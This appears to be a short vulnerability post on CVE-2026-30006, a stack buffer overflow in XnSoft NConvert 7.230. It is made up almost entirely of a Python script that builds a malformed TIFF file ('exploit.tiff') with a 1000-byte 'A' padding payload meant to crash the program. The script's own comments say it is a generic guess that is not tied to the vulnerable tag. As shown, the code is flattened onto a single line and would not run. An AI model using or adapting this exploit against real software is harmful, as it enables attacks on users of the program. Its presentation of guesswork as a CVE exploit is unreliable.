CVE-2026-30006 XnSoft NConvert栈缓冲区溢出漏洞

import struct # Generate a malicious TIFF file to trigger the stack buffer overflow in XnSoft NConvert 7.230 def generate_poc(filename): # TIFF Header (Little Endian) # Byte order: II (0x4949) # Version: 42 (0x2A) # Offset to first IFD: 0x08 (pointing right after header) header = b'II\x2A\x00\x08\x00\x00\x00' # IFD (Image File Directory) # Number of entries: Let's define 1 entry that causes the issue # Assuming the vulnerability is triggered by a specific tag with a large value/offset # This is a generic PoC structure; real poc would depend on specific vulnerable tag. num_entries = struct.pack('<H', 1) # IFD Entry (12 bytes) # Tag: 0x0100 (ImageWidth) - Example tag # Type: 4 (LONG) # Count: 1 # Value/Offset: Pointer to a large buffer or the data itself # To trigger buffer overflow, we often need a specific tag that reads into a small buffer. # Here we simulate a large offset or value that might be mishandled. # In a real scenario based on the CVE description, we craft the .tiff structure accordingly. # For this example, we append a large payload. # Malicious payload (padding) crash_payload = b'A' * 1000 # Adjust size based on specific buffer size in vulnerability with open(filename, 'wb') as f: f.write(header) f.write(num_entries) # Write a dummy IFD entry that might lead to reading the payload f.write(b'\x00\x01\x04\x00\x01\x00\x00\x00' + struct.pack('<I', 0x1C)) # Offset to payload # Next IFD offset (0 means end) f.write(b'\x00\x00\x00\x00') f.write(crash_payload) print(f"[+] PoC file generated: {filename}") if __name__ == "__main__": generate_poc("exploit.tiff")